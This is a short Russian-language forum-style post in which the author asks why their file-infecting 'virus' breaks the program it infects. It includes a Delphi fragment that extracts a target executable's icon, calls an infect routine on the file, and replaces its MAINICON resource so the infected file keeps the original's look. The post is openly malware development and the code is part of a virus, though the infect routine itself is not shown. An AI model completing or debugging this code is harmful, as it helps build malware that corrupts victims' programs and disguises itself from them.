Вирус не хочет подгружать иконку!
Если ставить себе - ничего!
Application.Icon.LoadFromFile('C:\AAAA\2.ico');
Если извлекать из заражаемого файла,а потом заражать - иконка ставится но программа после этого не работает.
Код
extractFileIcon(Memo1.Lines[0]);
infect(Memo1.Lines[0]);
q:= BeginUpdateResourceS(Memo1.Lines[0], False);
if q <> 0 then begin
if not ReplaceIconGroupResourceS(q, 'MAINICON', 0,'C:\AAAA\temp.ico') then caption:= ('ERROR!');
EndUpdateResource(q, False);
end;
Memo1.Lines.Delete(0);
